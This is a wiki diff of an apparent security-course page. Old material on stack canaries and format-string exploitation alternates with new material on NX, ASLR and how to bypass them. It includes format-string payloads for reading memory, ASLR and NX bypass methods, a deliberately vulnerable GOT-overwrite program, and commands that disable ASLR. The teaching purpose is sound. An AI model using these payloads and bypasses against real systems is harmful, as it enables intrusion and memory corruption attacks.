User Tools

Site Tools


session:10

Differences

This shows you the differences between two versions of the page.

Link to this comparison view

Both sides previous revision Previous revision
Next revision
Previous revision
session:10 [2019/07/16 00:45]
Radu-Nicolae NICOLAU (78289)
session:10 [2020/07/19 12:49] (current)
Line 1: Line 1:
-0x0A: Information Leaks+====== 0x09. Defense Mechanisms ======
  
-== Slides+===== Resources =====
  
-== Resources+[[http://security.cs.pub.ro/summer-school/res/slides/10-defense-mechanisms.pdf|Slides]]
  
-[[https://security.cs.pub.ro/summer-school/res/slides/10-information-leaks.pdf|Session 10 slides]]+Get the tasks by cloning [[https://github.com/hexcellents/sss-exploit|Public GitHub Repository]].
  
-[[https://security.cs.pub.ro/summer-school/res/arc/10-information-leaks-skel.zip|Session's tutorials and challenges archive]] 
  
-[[https://security.cs.pub.ro/summer-school/res/arc/10-information-leaks-full.zip|Session's solutions]]+===== Tutorials =====
  
 +The previous sessions ([[:session:07]] and [[:session:08]]) presented an exploitation scenario that is based on the assumption that machine instructions can be executed from **any** memory segment belonging to the process. As you can recall from [[session:03]], different sections of an ELF binary are grouped into segments which are loaded into memory when the binary is being executed. This mechanism (and some hardware support) enables 2 important protection mechanisms that will be presented in this session: executable space protection, and address space layout randomization. 
  
-== Stack Protection (Canaries)+In [[:session:09]] we discussed how the **PLT/GOT** work in relation to resolving addresses of functions from dynamically liked libraries. We also learned how to abuse this process and trigger arbitrary code execution by **corrupting GOT entries**. We will take this exploit primitive to the next level and explore how it can be used when additional defense mechanisms are in use.
  
-The name comes from canaries (birds) that were used by mining workers when entering mines and were affected by any deadly gases such as methane before humans were. In our casestack canaries are used to check if a buffer overflow of a stack variable resulted in overriding the return address. The mechanism is based on a (sometimes random) value that is placed on each function's stackjust above the return address, as the following picture shows. The value is checked in the function's epilogue before calling ''ret'', and if the values do not match the execution is halted. Since the stack grows from higher memory addresses to lower ones, any buffer overflow targeting the return address will also have to overwrite the canary with the right value.+Nextwe will introduce the **RELRO** mitigationwhich is designed to preclude the overwriting of relocation sections such as the GOT.
  
-{{ :session:canary.png?nolink&248 |}}+Another defense mechanism we will discuss in **seccomp**, which enables applications to enforce restrictions on the system calls performed in the process and child processes, thereby creating a sandbox.
  
-There are 3 main variations of this mechanism: //random//, //terminator//and //random XOR//.+Besides presenting these mechanisms, we are also going to take a quick look at how can we bypass them. Since these protections are ubiquitous at this timeyou will have to work around them almost every time you build a binary exploit.
  
-**Random** canaries are generated when programs start, and are stored in a global variable. The global variable //can// be located in a memory region surrounded by unmapped pages - this protects against information leak attacks (see next section) that dump big memory chunks, since accessing the unmapped pages will trigger a segmentation faultThis first method is a little bit hard to implement because the //crt0.o// code (see note below) has to read ''/dev/random''.+<note warning> 
 +The tasks today are designed for 32 bit executablesMake sure you compile with the ''%%-m32%%'' flag for ''gcc''
 +The binaries in the tasks archive are already compiled as such 
 +</note>
  
-The **terminator** canaries contain string termination characters such as ''0x00'', ''CR'', ''LF'', or ''-1''. This is based on the assumption that most buffer overflows happen when string manipulation functions (e.g., ''strcpy()'') are called with bad arguments. One would want to leak the canary value and then use a buffer overflow to overwrite it with the same value. Because string manipulation functions usually stop when termination characters are encountered, it is difficult to use them to overwrite the same value (containing termination characters) over the canary.+===== Tools =====
  
-The **random XOR** canaries work by applying a XOR-based algorithm having both random number (the canary), and the correct address as inputsThe attacker has to both obtain the random number, and apply the algorithm on the new return address before building the payload.+The **checksec** command-line tool is wrapper over the functionality implemented in pwntools' ''pwnlib.elf.elf'' module.
  
-<note+We will use this tool throughout the session to identify which defense mechanisms are enabled for a certain binary: 
-**crt0.o** is a set of initialization routines linked into compiled C programs, and executed before calling ''main()''. [[http://en.wikipedia.org/wiki/Crt0|More details.]]+<code bash
 +root@kali:~/demo/nx# checksec ./no_nx 
 +[*'/root/demo/nx/no_nx' 
 +    Arch:     i386-32-little 
 +    RELRO:    Full RELRO 
 +    Stack:    No canary found 
 +    NX:       NX disabled 
 +    PIE:      PIE enabled 
 +    RWX:      Has RWX segments 
 +</code> 
 + 
 +<note warning> To get it to work in the Kali VM, you have to update pwntools to the latest version using: 
 +<code> 
 +$ pip install -U pwntools 
 +</code>
 </note> </note>
  
-The 3 well known implementations of stack protections are: StackGuard, ProPolice, and StackShield. 
  
-=== StackGuard+==== Executable Space Protection ====
  
-The [[https://www.usenix.org/legacy/publications/library/proceedings/sec98/full_papers/cowan/cowan_html/cowan.html|initial implementation]] proposed by Crispin Cowan et al. from Immunix Inc., only protected the return address by pushing the canary value on the stack right after it (at lower adresses in memoryjust like in the picture)Follow-up versions also protected the saved registers and base pointer. StackGuard is implemented as a patch for the GCC compiler that modifies the GCC's code generation routines for function prologues and epilogues. The prologue will push the random value onto the stack, while the epilogue will contain a short value checking code.+The **executable space protection** is an instance of the **principle of least privilege**which is applied in many security sensitive domainsIn this case, the executable space protection is used to limit the types of memory access that a process is allowed to make during execution. A memory region (i.e., page) can have the following protection levels: READ, WRITE, and EXECUTE. The executable space protection mandates that writable regions should not be executable at the same time.
  
-<note important> +The mechanism can be (and was) implemented in many different ways, the most common in Linux being:
-[[http://courses.cs.washington.edu/courses/cse504/10sp/Slides/lecture3.pdf|Presentation]] on the history of StackGuard by Crispin Cowan. +
-</note>+
  
-=== StackShield+**NX bit:** This is the easiest method, and involves an extra bit added to each page table entry that specifies if the memory page should be executable or not. This is current implementation in 64-bit processors where page table entries are 8-bytes wide.
  
-The most notable feature of StackShield, compared to other implementations, is the //Global Return Stack//. This is a separate memory structure where return addresses are pushed as function are being called. When the function returns, the correct value is copied back to the application stack, thus overriding any malicious value. //Ret Range Check// is another feature that allows stack smashing detection by copying return addresses from the application stack to memory region with no write permission the value is compared to the current return address in function's epilogue.+**Physical Address Extension (PAE):** Besides the main feature that allows access to more than 4GB of memory, the PAE extension for 32-bit processor also adds a NX bit in its page table entries.
  
-=== ProPolice+**Emulation:** The NX bit can be emulated on older (i.e., non-PAE) 32-bit processors by overloading the Supervisor bit ([[http://en.wikipedia.org/wiki/PaX#PAGEEXEC|PaX PAGEEXEC]]), or by using the segmentation mechanism and splitting the address space in half ([[http://en.wikipedia.org/wiki/PaX#SEGMEXEC|PaX SEGMEXEC]]).
  
-ProPolice, proposed by IBMstarted from an implementation similar to StackGuardbut evolved and introduced new featuresIt is currently the method used by GCC when the ''%%--fstack-protector%%'' compilation flag is used. The ProPolice mechanism will reorder local variables based on their types. The following picture shows where each variable should be placed on the stack based on it's type such that different attacks become impossible.+<note> 
 +This security feature gets in the way of **just-in-time (JIT)** compilerswhich need to produce and write code at runtime, and that is later executedSince a JIT compiler cannot run in this kind of secured environment, an application using it is vulnerable to attacks known as **JIT spraying**. The idea was first presented by Dion Blazakis, and is, briefly, a way to force the JIT compiler to produce shellcode.
  
-{{ :session:propolice_stack.jpg?nolink&400 |}}+    * Slides[[http://www.semantiscope.com/research/BHDC2010/BHDC-2010-Slides-v2.pdf|Black Hat DEF CON 2010]] 
 +    * Paper: [[http://www.semantiscope.com/research/BHDC2010/BHDC-2010-Paper.pdf|Interpreter Exploitation. Pointer Inference and JIT Spraying]]
  
-<note> 
-GCC supports 3 levels of stack smashing protection: complete, normal, and strong. The difference lies in the types of function that are protected, with the decision being made by looking at what kinds of local variables are used. Details in [[http://lwn.net/Articles/584225/|this]] LWN article. 
 </note> </note>
  
-Let's compile a small application with GCC's stack protection.+There are of course other implementations in different hardening-oriented projects such as: OpenBSD [[http://marc.info/?l=openbsd-misc&m=105056000801065|W^X]], Red Hat [[http://www.redhat.com/magazine/009jul05/features/execshield/|Exec Shield]], PaX (which is now part of [[https://grsecurity.net/|grsecurity]]), Windows Data Execution Prevention ([[http://support.microsoft.com/kb/875352|DEP]]).
  
-<file c ssp.c> +=== Walk-through ===
-void func() { +
-    char buffer[1337]; +
-    return; +
-}+
  
-int main() +The Linux kernel provides support for managing memory protections in the ''%%mmap()%%'' and ''%%mprotect()%%'' syscalls. These syscalls are used by the loader to set protection levels for each segment it loads when running a binary. Of course, the same functions can also be used during execution.
-    func()+
-    return 0; +
-+
-</file>+
  
-Compile the file using:+<note important> 
 +PaX has a protection option that restricts the use of ''%%mprotect()%%'' and ''%%mmap()%%'' to avoid resetting the permissions during execution. See [[https://pax.grsecurity.net/docs/mprotect.txt|MPROTECT]]. Note that grsecurity/PaX are patches to the kernel, and are not available in normal distributions. You have to compile your own kernel if you want to try them out. 
 +</note> 
 + 
 +Let's start by deactivating ASLR, which is going to be discussed in the following section of this tutorial, and only focus on the NX protection. We can do this in two ways, as told below: 
 + 
 +To disable ASLR system-wide we use (root access is required):
  
 <code bash> <code bash>
-~$ CFLAGS='-O0 -m32 -fstack-protectormake ssp+~$ sudo bash -c 'echo 0 > /proc/sys/kernel/randomize_va_space'
 </code> </code>
  
-The disassembled code for ''func()'' looks like this:+To create a shell with ASLR disabled (ASLR will also be disabled for future processes spawned from that shell), we use (root access is not required):
  
 <code bash> <code bash>
-~$ objdump -M intel -d -j .text ./ssp+~$ setarch $(uname -m) -R /bin/bash
 </code> </code>
  
-<code objdump> +Let's first compile an extremely simple C application
-0804841b <func>+ 
- 804841b: 55                    push   ebp +<code c
- 804841c: 89 e5                mov    ebp,esp +int main() { 
- 804841e: 81 ec 48 05 00 00    sub    esp,0x548 +    while (1); 
- 8048424: 65 a1 14 00 00 00    mov    eax,gs:0x14 +}
- 804842a: 89 45 f4              mov    DWORD PTR [ebp-0xc],eax +
- 804842d: 31 c0                xor    eax,eax +
- 804842f: 90                    nop +
- 8048430: 8b 45 f4              mov    eax,DWORD PTR [ebp-0xc] +
- 8048433: 65 33 05 14 00 00 00 xor    eax,DWORD PTR gs:0x14 +
- 804843a: 74 05                je     8048441 <func+0x26+
- 804843c: e8 af fe ff ff        call   80482f0 <__stack_chk_fail@plt> +
- 8048441: c9                    leave   +
- 8048442: c3                    ret +
 </code> </code>
  
-We can observe the random value being read from ''gs:0x14'' and placed on the stack after the return value. Let's take a look at this in GDB for multiple run. Start by creating a small GDB script that can be easily executed multiple times.+<code bash> 
 +~$ CFLAGS='-m32 -O0make hello 
 +</code>
  
-<file text canary.gdb> +As presented in [[session:04]],​ the ELF format contains flags for each segment that specify what permissions should be grantedYou can use ''​%%readelf -l hello%%''​ to dump all program headers for this binary.
-set disassembly-flavor intel +
-file ssp +
-break *0x804842a +
-commands +
-p/x $eax +
-+
-end +
-run +
-quit +
-</file>+
  
-Run using:+<code> 
 +Program Headers: 
 +  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align 
 +  PHDR           0x000034 0x08048034 0x08048034 0x00120 0x00120 R E 0x4 
 +  INTERP         0x000154 0x08048154 0x08048154 0x00013 0x00013 R   0x1 
 +      [Requesting program interpreter: /lib/ld-linux.so.2] 
 +  LOAD           0x000000 0x08048000 0x08048000 0x00568 0x00568 R E 0x1000 
 +  LOAD           0x000f08 0x08049f08 0x08049f08 0x00114 0x00118 RW  0x1000 
 +  DYNAMIC        0x000f14 0x08049f14 0x08049f14 0x000e8 0x000e8 RW  0x4 
 +  NOTE           0x000168 0x08048168 0x08048168 0x00044 0x00044 R   0x4 
 +  GNU_EH_FRAME   0x000490 0x08048490 0x08048490 0x0002c 0x0002c R   0x4 
 +  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RW  0x10 
 +  GNU_RELRO      0x000f08 0x08049f08 0x08049f08 0x000f8 0x000f8 R   0x1
  
-<code bash> + Section to Segment mapping: 
-~$ gdb -x canary.gdb ssp+  Segment Sections... 
 +   00      
 +   01     .interp  
 +   02     .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rel.dyn .rel.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame  
 +   03     .init_array .fini_array .jcr .dynamic .got .got.plt .data .bss  
 +   04     .dynamic  
 +   05     .note.ABI-tag .note.gnu.build-id  
 +   06     .eh_frame_hdr  
 +   07      
 +   08     .init_array .fini_array .jcr .dynamic .got
 </code> </code>
  
-=== Defeating Canaries 
  
-This [[http://www.blackhat.com/presentations/bh-usa-04/bh-us-04-silberman/bh-us-04-silberman-paper.pdf|white paper]] covers different attack vectors and the capabilities of protecting against these offered by the 3 implementations that we previously presented. As the paper presents, there are multiple target values that an attacker might want to modify during exploitationby overflowing buffers stored in different regions of the process+Check the ''​%%Flg%%''​ columnFor example, the first ''​LOAD''​ segment contains ''.text''​ and is marked ''​R E'',​ while the ''​GNU_STACK''​ segment is marked ''​RW ''.
  
-For example, the attacker might target: +Next we are interested in seeing calls to ''​%%mmap2()%%''​ and ''​%%mprotect()%%''​ made by the loader. We are going to use the ''​strace''​ tool for this, and directly execute the loader. You can check the path to the loader on your system using ''​ldd hello''​.
-  * parameters function pointers (pushed onto the stack before calling functions) +
-  * the return address +
-  * the old base pointer +
-  * a plain function pointer (local variable)+
  
-Buffers could be stored either on the stackthe heap or ''.bss'' section.+<code bash> 
 +~$ strace -e mmap2,mprotect /lib/ld-linux.so.2 ./hello 
 +</code> 
 + 
 +<code text> 
 +[ Process PID=11198 runs in 32 bit mode. ] 
 +mmap2(0x8048000, 4096, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0) = 0x8048000 
 +mmap2(0x8049000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0) = 0x8049000 
 +mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xfffffffff7ffc000 
 +mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xfffffffff7ffa000 
 +mmap2(NULL, 156324, PROT_READ, MAP_PRIVATE, 3, 0) = 0xfffffffff7fd3000 
 +mmap2(NULL, 1763964, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xfffffffff7e24000 
 +mmap2(0xf7fcd000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1a9000) = 0xfffffffff7fcd000 
 +mmap2(0xf7fd0000, 10876, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xfffffffff7fd0000 
 +mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xfffffffff7e23000 
 +mprotect(0xf7fcd000, 8192, PROT_READ)   = 0 
 +mprotect(0x8049000, 4096, PROT_READ)    = 0 
 +mprotect(0x56575000, 4096, PROT_READ)   = 0 
 +</code> 
 + 
 +We can observe ​a ''​PROT_READ|PROT_EXEC''​ mapping ​at address 0x8048000, followed by a ''​PROT_READ|PROT_WRITE''​ at address 0x8049000 ​that is later changed to ''​PROT_READ''​ for the first half (4096 bytes). The later allocation is the data segment, that should be writable. We can also see a bunch of allocations ​for segments belonging to dynamic libraries.
  
 <note important> <note important>
-Note that attacks can also be carried out via indirect pointers. The attacker could target stack local variable, without trying to change the return value, that is later used as a pointer in a write operationIf this write can be fully controlled, the attacker can change the return address without even writing over the canary.+Note that the **stack** is not explicitly allocated by the loader. The kernel will keep increasing it each time page fault is triggered without calling ​''​mmap''​Also, the **heap** will be extended on-demand as the application requires it.
 </note> </note>
  
-Besides indirect attacks, stack canaries can also be defeated if the attacker is able to exploit an **information leak** vulnerability.+We can dump all memory mappings ​of the still running process as follows:
  
 +<code bash>
 +~$ ps u | grep /lib/ld-linux.so.2 
 +... 
 +~$ cat /proc/11198/maps
 +</code>
  
-== Format String Exploits +<note important>​  
- +Make sure to use the PID of the loader processand not the ''​strace'' ​process
-<note warning+
-In the following, ''top of the stack'' refers to ''high addresses'' (fixed), whereas ''bottom of the stack'' refers to ''low addresses'' (the end where values are pushed on the stack), contrary to the intuition that the top of the stack is the end at which values are pushed. This means high addresses are represented upwardswhereas low addresses are represented downwards (contrary to the ''GDB'' layout of the stack). +
-This formality arises from this paper on [[https://cs155.stanford.edu/papers/formatstring-1.2.pdf|Exploiting Format String Vulnerabilities]], from which the following tutorial was adapted.+
 </note> </note>
  
-The scenario that enables format string vulnerabilities is the direct use of unsanitized user provided input as a parameter to functions that can perform special operations based on that input.  +<code bash> 
-Eg. +~$ cat /proc/11198/maps 
 +</code>
  
-<code C+<code text
-void print_something(char* user_input) +08048000-08049000 r-xp 00000000 00:22 5769082                            /home/vladum/sss/session10/hello 
-{ +08049000-0804a000 r--p 00000000 00:22 5769082                            /home/vladum/sss/session10/hello 
-    printf(user_input); +0804a000-0804b000 rw-p 00001000 00:22 5769082                            /home/vladum/sss/session10/hello 
-}+56555000-56575000 r-xp 00000000 08:05 827365                             /lib/i386-linux-gnu/ld-2.19.so 
 +56575000-56576000 r--p 0001f000 08:05 827365                             /lib/i386-linux-gnu/ld-2.19.so 
 +56576000-56577000 rw-p 00020000 08:05 827365                             /lib/i386-linux-gnu/ld-2.19.so 
 +f7e23000-f7e24000 rw-p 00000000 00:00 0  
 +f7e24000-f7fcd000 r-xp 00000000 08:05 823395                             /lib/i386-linux-gnu/libc-2.19.so 
 +f7fcd000-f7fcf000 r--p 001a9000 08:05 823395                             /lib/i386-linux-gnu/libc-2.19.so 
 +f7fcf000-f7fd0000 rw-p 001ab000 08:05 823395                             /lib/i386-linux-gnu/libc-2.19.so 
 +f7fd0000-f7fd3000 rw-p 00000000 00:00 0  
 +f7ffa000-f7ffd000 rw-p 00000000 00:00 0  
 +f7ffd000-f7ffe000 r-xp 00000000 00:00 0                                  [vdso] 
 +fffdd000-ffffe000 rw-p 00000000 00:00 0                                  [stack]
 </code> </code>
  
-vs.+=== Bypassing NX ===
  
-<code C> +**ret-to-plt/libc.** You can return to the ''.plt'' section and call library function already linkedYou can also call other library functions based on their known offsets. The latter approach assumes no ASLR (see next section)or the possibility of an information leak.
-void print_something(charuser_input) +
-+
-    printf("%s", user_input); +
-+
-</code> +
-=== Format functions +
-A number of format functions are defined in the ANSI C definitionThere are some basic format string functions on which more complex functions are based on, some of which are not part of the standard but are widely available. +
-Real family members: +
- * fprintf — prints to a FILE stream +
- * printf — prints to the ‘stdout’ stream +
- * sprintf — prints into a string +
- * snprintf — prints into a string with length checking +
- * vfprintf — print to a FILE stream from a va_arg structure +
- * vprintf — prints to ‘stdout’ from a va_arg structure +
- * vsprintf — prints to a string from a va_arg structure +
- * vsnprintf — prints to a string with length checking from a va_arg structure+
  
-===== Relatives: +**mprotect().** If the application is using ''mprotect()'' you can easily call it to modify the permissions and include ''PROT_EXEC'' for the stack. You can also call this in a ''ret-to-libc'' attack. You can also ''mmap'' a completely new memory region and dump the shellcode there.
- setproctitle — set argv[] +
- syslog — output to the syslog facility +
- others like err*, verr*, warn*, vwarn*+
  
-=== Use of format functions === +**Return Oriented Programming (ROP).** This is a generalization of the ret-to-* approach that makes use of existing code to execute almost anything. As this is probably one of the most common types of attacks, it will be discussed in depth in a future section.
-To understand where this vulnerability is common in C code, we have to examine the purpose of format functions.+
  
-== Functionality == +==== Address Space Layout Randomization ====
- * used to convert simple C datatypes to a string representation +
- * allow to specify the format of the representation +
- * process the resulting string (output to stderr, stdout, syslog, ...)+
  
-== How the format function works == +Address Space Layout Randomization (ASLR) is a security feature that maps different memory regions of an executable at random addresses. This prevents buffer overflow-based attacks that rely on known addresses such as the stack (for calling into shellcode), or dynamically linked libraries (for calling functions that were not already linked with the target binary). Usually, the sections that are randomly mapped are: the stack, the heap, the VDSO page, and the dynamic libraries. The code section can also be randomly mapped for [[http://en.wikipedia.org/wiki/Position-independent_executable|PIE]] binaries.
- * the format string controls the behaviour of the function +
- * it specifies the type of parameters that should be printed +
- * parameters are saved on the stack (pushed) +
- * saved either directly (by value), or indirectly (by reference)+
  
-== The calling function == +<note important> 
- * has to know how many parameters it pushes to the stacksince it has to do the stack correctionwhen the format function returns+Linux allows 3 options for its ASLR implementation that can be configured using the ''/proc/sys/kernel/randomize_va_space'' file. Writing 01, or 2 to this will results in the following behaviors: 
 +  * **0**: deactivated 
 +  * **1**: random stack, vdso, libraries; heap is after code section; random code section (only for PIE-linked binaries) 
 +  * **2**: random heap too
  
-=== What exactly is a format string === +</note>
-A format string is an ASCIIZ string that contains text and format parameters. +
-Example: +
-<code C> +
-printf ("The magic number is: %d\n", 1911); +
-</code> +
-The text to be printed is "The magic number is:", followed by a format parameter ("%d"), that is replaced with the parameter (1911) in the output. Therefore the output looks like: +
-<code>The magic number is: 1911</code>+
  
-Some format parameters:+Make sure you reactivate ASLR after the previous section of the tutorial, by one of the two options below.
  
-^ Parameter      ^ Output       ^ Passed as          ^ +If you disabled ASLR system-widere-enable it using (root access is required):
-| %d    | decimal(int)     | value        | +
-| %u    | unsigned decimal (unsigned int)     | value        | +
-| %x    | hexadecimal (unsigned int)     | value        | +
-| %s    | string ( char *)     | reference        | +
-| %n    | number of bytes written so far, (* int    | reference        |+
  
-The '\' character is used to escape special characters. It is replaced by the C compiler at compile-time, replacing the escape sequence by the appropiate character in the binary. The format functions do not recognize those special sequences. In fact, they do not have anything to do with the format functions at all, but are sometimes mixed up, as if they are evaluated by them. +<code bash
-Example: +~$ sudo bash -c 'echo 2 > /proc/sys/kernel/randomize_va_space'
-<code C+
-printf ("The magic number is: \x25d\n", 23);+
 </code> </code>
-The code above works, because '\x25' is replaced at compile time with '%', since 0x25 (37) is the ASCII value for the percent character. 
  
-=== The stack and its role at format strings +If you disabled ASLR at shell level, simply **close the shell** such as issuing the ''Ctrl+d'' keyboard shortcut.
-The behaviour of the format function is controlled by the format stringThe function retrieves the parameters requested by the format string from the stack. +
-<code C> +
-printf ("Number %d has no address, number %d has: %08x\n", i, a, &a); +
-</code>+
  
-From within the ''printf'' function the stack looks like : +We can easily demonstrate the effects on shared libraries by running ''ldd'' multiple times in a row on a binary such as ''/bin/ls''.
-{{ :session:format_string_stack.png?direct&300 |}}+
  
-The format function now parses the format string 'A', by reading a character a time. If it is not '%', the character is copied to the outputIn case it isthe character behind the '%' specifies the type of parameter that +In GDBASLR is disabled by default in order to reduce the non-determinism and make debugging easierHoweverwhen developing exploits we will sometimes want to test them in conjunction with ASLRTo enable ASLR in GDBuse the following command:
-should be evaluated. The string "%%" has a special meaning, it is used to print the escape character '%' itselfEvery other parameter relates to datawhich is located on the stack.+
  
-=== What do we control? +<code bash
-Through supplying the format string we are able to control the behaviour of the format function. We now have to examine what exactly we are able to control, and how to use this control to extend this partial control over +gdb-peda$ set disable-randomization off
-the process to full control of the execution flow. +
-=== Crash of the program +
-By utilizing format strings we can easily trigger some invalid pointer access by just supplying a format string like: +
-<code C> +
-printf ("%s%s%s%s%s%s%s%s%s%s%s%s"); +
-</code> +
-Because '%s' displays memory from an address that is supplied on the stack, where a lot of other data is stored, too, our chances are high to read from an illegal address, which is not mapped. Also most format function +
-implementations offer the '%n' parameter, which can be used to write to the addresses on the stack. If that is done a few times, it should reliably produce a crash, too. +
-=== Viewing the stack +
-We can show some parts of the stack memory by using a format string like this: +
-<code C+
-printf ("%08x.%08x.%08x.%08x.%08x\n");+
 </code> </code>
-This works, because we instruct the printf-function to retrieve five parameters from the stack and display them as 8-digit padded hexadecimal numbers. So a possible output may look like: 
-<code> 
-40012980.080628c4.bffff7a4.00000005.08059c04 
-</code> 
-This is a partial dump of the stack memory, starting from the current bottom of the stack towards the top — assuming the stack grows towards the low addresses. Depending on the size of the format string buffer and the size of the output buffer, you can reconstruct more or less large parts of the stack memory by using this technique. In some cases you can even retrieve the entire stack memory. 
-A stack dump gives important information about the program flow and local function variables and may be very helpful for finding the correct offsets for a successful exploitation. 
-=== Viewing memory at any location  
-It is also possible to peek at memory locations different from the stack memory. To do this we have to get the format function to display memory from an address we can supply.  
-This poses two problems to us:  
-  * First, we have to find a format parameter which uses an address (by reference) as stack parameter and displays memory from there 
-  * Secondly, we have to supply that address.  
-We are lucky in the first case, since the '%s' parameter just does that, it displays memory — usually an ASCIIZ string — from a stack supplied address.  
-So the remaining problem is, how to get that address on the stack, into the right place. 
  
 +==== Bypassing ASLR ====
  
-Our format string is usually located on the stack itself, so we already have near to full control over the space where the format string lies. +**Bruteforce.** If you are able to inject payloads multiple times without crashing the applicationyou can bruteforce the address you are interested in (e.g., a target in libc). Otherwise, you can just run the exploit multiple times
-The format function internally maintains a pointer to the stack location of the current format parameter.  +Another thing to keep in mind is thatas addresses are randomized at load-timechild processes spawned with fork inherit the memory layout of the parent.
-If we would be able to get this pointer pointing into a memory space we can controlwe can supply an address to the '%s' parameter +
-<note important> +
-For re-creating the following attack you should place the string passed to ''printf'' using a local bufferIn the following examples the string is used as it is to simplify the situationbut at compile time the string will be placed on the ''.rodata'' section and the desired address won't be on the stack so it can be used (also true for dummy parameters). +
-</note> +
-To modify the stack pointer we can simply use dummy parameters that will 'dig' up the stack by printing junk: +
-<code C> +
-printf ("AAA0AAA1_%08x.%08x.%08x.%08x.%08x"); +
-</code> +
-The '%08x' parameters increase the internal stack pointer of the format function towards the top of the stack.  +
-After more or less of this increasing parameters the stack pointer points into our memory: the format string itself.  +
-The format function always maintains the lowest stack frameso if our buffer lies on the stack at allit lies above the current stack pointer for sure.  +
-If we choose the number of ‘%08x’ parameters correctly, we could just display memory from an arbitrary address, by appending '%s' to our string.+
  
-In our case the address is illegal and would be 'AAA0'. Lets replace it with a real one. +Take the following scenario: we interact with a vulnerable sever that handles connections by forking to another process. We manage to obtain a leak from a child process but we are not able to create an exploit chain that leads to arbitrary code execution. However, we may still be able to use this leak in another connection, since the new process will have the same address space as the previous.
-Example:+
  
-<code+**NOP sled.** In the case of shellcodes, a longer NOP sled will maximize the chances of jumping inside it and eventually reaching the exploit code even if the stack address is randomized. This is not very useful when we are interested in jumping to ''libc'' or other functions, which is usually the case if the executable space protection is also active.
-address = 0x08480110 +
-address (encoded as 32 bit le string): "\x10\x01\x48\x08" +
-</code>+
  
-<code C> +**jmp esp.** This will basically jump into the stack, no matter where it is mapped. It's actually a very rudimentary form of Return Oriented Programming which was discussed in the previous session. 
-printf ("\x10\x01\x48\x08_%08x.%08x.%08x.%08x.%08x|%s|");+ 
 +**Restrict entropy.** There are various ways of reducing the entropy of the randomized addressFor example, you can decrease the initial stack size by setting a huge amount of dummy environment variables. 
 + 
 +**Partial overwrite.** This technique is useful when we are able to overwrite only the least significant byte(s) of an address (e.g. a GOT entry). We must take into account the offsets of the original and final addresses from the beginning of the mapping. If these offsets only differ in the last 8 bits, the exploit is deterministic, as the base of the mapping is aligned to 0x1000. The offsets of ''read'' and ''write'' in ''libc6_2.27-3ubuntu1.2_i386'' are suitable for a partial overwrite: 
 +<code bash> 
 +gdb-peda$ p read 
 +$1 = {<text variable, no debug info>} 0xe6dd0 <__GI___libc_read> 
 +gdb-peda$ p write 
 +$2 = {<text variable, no debug info>} 0xe6ea0 <__GI___libc_write>
 </code> </code>
 +However, since bits 12-16 of the offsets differ, the corresponding bits in the full addresses would have to be bruteforced (probability 1/4).
 +
 +**Information leak.** The most effective way of bypassing ASLR is by using an information leak vulnerability that exposes randomized address, or at least parts of them. You can also dump parts of libraries (e.g., ''libc'') if you are able to create an exploit that reads them. This is useful in remote attacks to infer the version of the library, downloading it from the web, and thus knowing the right offsets for other functions (not originally linked with the binary).
 +
 +==== Tutorial: Chaining Information Leaks with GOT Overwrite ====
 +
 +In this tutorial we will exploit a program that is similar to ''02-challenge-no-ret-control'' from the previous session:
 +<code c>
 +#include <stdio.h>
 +#include <unistd.h>
 +
 +int main() {
 + int *addr;
 +
 + printf("Here's a libc address: 0x%08x\n", printf);
 +
 + printf("Give me and address to modify!\n");
 + scanf("%p", &addr);
  
-This will dump memory from 0x08480110 until NULL byte is reached. By increasing the memory address dynamically we can map out the entire process space.  + printf("Give me value!\n"); 
-It is even possible to create a coredump like image of the remote process and to reconstruct a binary from it. It is also helpful to find the cause of unsuccessful exploitation attempts.+ scanf("%u", addr);
  
-If we cannot reach the exact format string boundary by using 4-Byte pops ('%08x'), we have to pad the format string, by prepending one, two or three junk characters.  + sleep(10);
-This is analog to the alignment in buffer overflow exploits.+
  
-=== Exploitation - through pure format strings + printf("Abandon all hope ye who reach this...\n");
-Our goal in the case of exploitation is to be able to control the instruction pointer, i.e we want to extend our very limited control — the ability to control the behaviour of the format function — to real execution control, that is executing our raw machine code. +
-Let's take a look at the following code: +
-<code C> +
-+
-char buffer[512]; +
-snprintf (buffer, sizeof (buffer), user); +
-buffer[sizeof (buffer) - 1] = ’\0’;+
 } }
 </code> </code>
-In the code above it is not possible to enlarge our buffer by inserting some kind of 'stretching' format parameter, because the program uses the secure ''snprintf'' function to assure we will not be able to exceed the buffer. 
-At first it may look as if we cannot do much useful things, except crashing the program and inspecting some memory. 
  
-Lets remember the format parameters mentioned. There is the '%nparameterwhich writes the number of bytes already printedinto a variable of our choice.  +The goal is to alter the execution flow and avoid reaching the final ''printf''. To this endwe will overwrite the ''sleep'' entry in GOT and redirect it to ''exit''. Howeverdue to ASLR, the value can not be hardcoded and must be computed at runtime
-The address of the variable is given to the format function by placing an integer pointer as parameter onto the stack. + 
-Example+Whenever we operate with addresses belonging to shared libraries, we must be aware that the offsets are highly dependent on the particular build of the libraryWe can identify this build either by its BuildID (retrieved with the file command), or by its version string
-<code C+<code bash
-int i; +silvia@imladris:/sss/demo$ ldd ./got_overwrite 
-printf ("foobar%n\n", (int *&i); +    linux-gate.so.1 (0xf7ee8000) 
-printf ("i = %d\n", i); +    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7ccc000
-</code> +    /lib/ld-linux.so.2 (0xf7ee9000
